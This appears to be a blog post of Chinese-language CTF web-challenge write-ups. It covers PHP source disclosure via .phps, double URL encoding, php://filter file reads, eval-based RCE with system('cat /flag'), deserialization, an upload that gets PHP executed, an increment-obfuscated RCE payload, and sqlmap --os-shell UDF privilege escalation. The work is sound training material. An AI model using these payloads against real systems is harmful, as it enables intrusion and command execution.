攻防世界 php2

页面提示,你能完成身份验证吗?感觉一般与密码有关系,但是浏览器页面看不出什么东西,抓包也没有异常;
这里的重点就是要访问index.phps可以得到php源码,因为.phps就是php的源代码文件,用户无法直接通过浏览器查看源码内容,所以需要.phps文件代替。


这里就有了源码了;
这里的限制条件就是不允许传的直接就是admin,但是由于后面判断是admin两次判断之间出现了一次URL解码,所以我们这里传入的admin,应该经过了编码操作的admin;
我们这里需要编两次码,如果只编一次码,在php里面就给你解码成admin了。

NSSCTF [SWPUCTF 2021 新生赛]jicao
查看源码:

这里主要就是出现了json_decode(),后面要用到json[‘x’]也就是关联数组,我们如果要经过json_decode过后是一个关联数组,那我们就得在json顶层为{}而非[],那么json的传参就解决了:
?json={“x”:”wllm”}
[ACTF2020 新生赛]Include
进入题目:
有一个tips,我们点进去:

URL的地方自己就变成了flag.php;
这里传参应该与flag.php有关,但是页面并没有回显,结合这是一道文件包含的题目,应该可以用到伪协议;
payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php;
[SWPUCTF 2021 新生赛]easyrce

很简单的一道题,直接system(“ls /“)去找根目录下有什么,然后cat /flllllllaaaag
就可以了,需要注意的是我们这里直接cat flag不行,因为这代表我们直接本层目录cat flag这个文件,但是flag这个文件在根目录下,所以我们需要加上一个/
[SWPUCTF 2021 新生赛]caidao
其实和上一道题一模一样,只是post方法而已

[第五空间 2021]WebFTP
进入页面发现是一个登陆的页面,看见登陆页面先想到sql注入了,但是试了下没什么用,然后尝试了抓包发现也没什么异常;
然后用dirsearch扫了一下这个网站,发现有phpinfo.php这个目录,然后访问一下,使用command+f打开搜索框,然后搜索flag,得到flag

[SWPUCTF 2021 新生赛]ez_unserialize Zue3r
直接进入题目没有任何提示,先看了下源码,好像没发现什么异常,然后又抓包,也没发现什么;
后面想到了用dirsearch扫一下:

直接去访问了一下flag.php发现页面没有反应,再换着访问了一下robots.txt,提示了一个/cl45s.php,访问它
进入题目界面:

这里要让admin和passwd的值分别等于对应的值,使用get方法传参;
直接构造payload:
?p=O:4:”wllm”:2:{s:5:”admin”;s:5:”admin”;s:6:”passwd”;s:3:”ctf”;}
ctfshow-RCE-eval执行
进入题目,发现这里cmd的值会直接被eval函数执行,所以直接传入想要执行的命令即可

$_REQUEST是内置的变量,包含了get方法,post方法,还有cookie的值,这里直接用get方法传参;
直接传入?cmd=system(“ls /“)直接看根目录:
有带有flag的目录,cat一下得到flag:
http://challenge-5d450e2221573c9c.sandbox.ctfhub.com:10800/?cmd=system(“cat /flag_21619”);

[NISACTF 2022]easyssrf

一开始没啥头绪,想了下用file;

发现不行;在这里卡住了有点
看见网上说用本地试试:

然后就ls到根目录;
提示ha1x1ux1u.php,访问;
Image Upload Service
<div class="upload-box">
<form action="" method="POST" enctype="multipart/form-data">
<label for="image" style="display: block; margin-bottom: 10px; font-weight: bold;">Select your image</label>
<input type="file" name="image" id="image" accept=".jpg" required>
<input class="btn" type="submit" value="Upload Image">
</form>
</div>
<?php if ($message): ?>
<p class="<?php echo (strpos($message, 'successfully') !== false) ? 'success-msg' : 'error-msg'; ?>">
<?php echo htmlspecialchars($message); ?>
</p>
<?php endif; ?>
<?php if ($uploaded_path): ?>
<p class="success-msg" style="color: #333;">
<?php echo $uploaded_path; ?>
</p>
<?php endif; ?>
也就是说这里要检查你的content-type以及你的拓展名,然后继续随便传一个正常的试试呢,发现在首页访问我们传入的路径之后会有php报错
也就是说这里可能是直接把我们的传入的文件当做php文件直接执行,那我们就直接在图片里面写入命令



当然这里应该是根目录下ls,这个是后面复现的时候做的,不要在意这些细节,然后重复上面的步骤命令执行就可以了
[SWPUCTF 2025 秋季新生赛]php命令执行

当然这里直接这么传为编码的数据是不行的,因为我们的加号如果不编码,那么在这里就会被当做空格,所以我们必须把前面构造自增的部分编码了,否则payload不会生效
这里还对payload长度进行了限制,之间拿脚本跑的那个有点长了,干脆直接手搓了:
1 | rce=$_=[]._;$_=$_[_];$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$__=$_;$___=$__++;$_++;$_++;$_++;$_++;$____=$_;$_____=++$_;$_=_.$__.$___.$____.$_____;$$_[_]($$_[__]);&_=system&__=nl /f* |
下面来分析一下:
1 | rce=$_=[]._; #第一步,将$_赋值成一个Array_ |
[SWPUCTF 2025 秋季新生赛]SIGN IN!
按着题目要求来就是了,但是要注意第二关改Cookie的时候要把本来的值个带上,不然要一直回到第一关,也就是在原本cookie的基础上加上个;再按题目要求来
[SWPUCTF 2025 秋季新生赛]sql仅仅只是sql吗?
这道题一开始在题目简介那里提示要用sqlmap,之前倒是还没用过这个工具,这道题就是依靠这个工具来做的
进入题目之后是一个查询页面:
简单查询之后发现这里是数字型,也就不存在什么包裹

然后自己就一直在尝试注入,但是按着正常流程来拿不到正确的flag,而题目提示我们这里不只是SQL注入,然后我就卡着了
看了下wp,这里和UDF提权有关,再借助sqlmap一起实现命令执行
先了解一下什么事UDF提权:
UDF 的全称是 User Defined Function(用户自定义函数)。
MySQL 作为一个数据库,本身自带了很多功能函数,比如 md5()、concat()、version()。但是,总有些开发者觉得不够用,于是 MySQL 的设计者就留了一个“后门”: 允许开发者用 C 语言或者 C++ 自己写一段代码,编译成动态链接库(Windows 下是 .dll,Linux 下是 .so),然后加载进 MySQL 里,当成 MySQL 自带的内置函数来用。
这个机制的本意是为了方便扩展功能,比如有人想在数据库里直接做一个超复杂的财务计算,就可以写个 UDF。
就比如我们想要执行ls等操作,如果我们可以利用UDF去写入,那么我们就可以实现执行ls等命令
也就是说我们是利用这个机制把我们的东西塞到mysql数据库里面,而这个机制只有例如root身份等才可以使用,其他细致的原理这里就不赘述了
那么什么是udf提权呢?
如果 MySQL 服务在启动时,是以系统的最高权限(root 账户)运行的,那么你通过 UDF 执行的任何系统命令,也全部是 root 权限!
你原本只是一个利用网页漏洞(比如你刚才做的那个 ?id=1)进来的卑微 Web 用户(通常是 www-data),现在却利用 MySQL 的 UDF 功能,瞬间摇身一变成为了操作系统的“神”。这就叫提权(Privilege Escalation)。
能够执行提权的前置条件非常苛刻
- 当前用户已经拿到 MySQL 的权限(通常是 root)
- MySQL 进程运行权限较高(如 root)
- 有 文件写入权限(
plugin_dir目录) - 可以使用
CREATE FUNCTION创建函数(有CREATE权限) - secure_file_priv是空
这道题我们先通过命令来查看我们登录mysql时是否是root用户:
sqlmap -u “http://node1.anna.nssctf.cn:28725/?id=1“ –random-agent –is-dba
--is-dba(核心目的:查户口)- 作用:DBA 是 Database Administrator(数据库管理员)的缩写。这个参数会让 sqlmap 在确认存在注入后,立刻去查一下当前连接数据库的账号是不是最高权限(比如 MySQL 里的
root)。
- 作用:DBA 是 Database Administrator(数据库管理员)的缩写。这个参数会让 sqlmap 在确认存在注入后,立刻去查一下当前连接数据库的账号是不是最高权限(比如 MySQL 里的
当然这里前面还有个–random-agent,这个命令就是为了防止有些mysql库看见你是sqlmap来的直接给你ban了,所以加一个这个之后sqlmap会伪装成正常的浏览来的
这个命令如果返回了true,那么就说明我们这里是root用户

那这里就可以执行了
在这里要熟悉sqlmap的操作:

当然这里要用的命令上图是没有的
我们得知了我们是root之后,那我们句执行udf操作,如果手动操作就太复杂了,这里还是借用了sqlmap
sqlmap -u “http://node1.anna.nssctf.cn:28725/?id=1“ –random-agent –os-shell
--os-shell (终极杀招:获取系统命令行)
- 作用:尝试在目标数据库所在的服务器上,弹出一个交互式的操作系统命令行(Shell)。
- 底层逻辑(呼应我们刚刚讲过的知识): 当 sqlmap 发现存在注入漏洞时,它会立刻尝试两条路线来拿权限:
- 写木马路线:如果它能猜到网站的绝对路径(比如
/var/www/html/),并且数据库有写文件权限,它会用 SQL 语句写一个 PHP 一句话木马进去,然后通过这个木马帮你执行系统命令。 - UDF 提权路线:就像我们刚才聊的,如果写木马行不通,它就会尝试往 MySQL 的插件目录里塞一个
.so动态链接库,创建一个自定义函数,利用数据库的底层机制直接执行系统命令
- 写木马路线:如果它能猜到网站的绝对路径(比如
然后我们就可以实现随便的命令执行了
1 | ┌──(kali㉿kali)-[/usr/share/sqlmap] |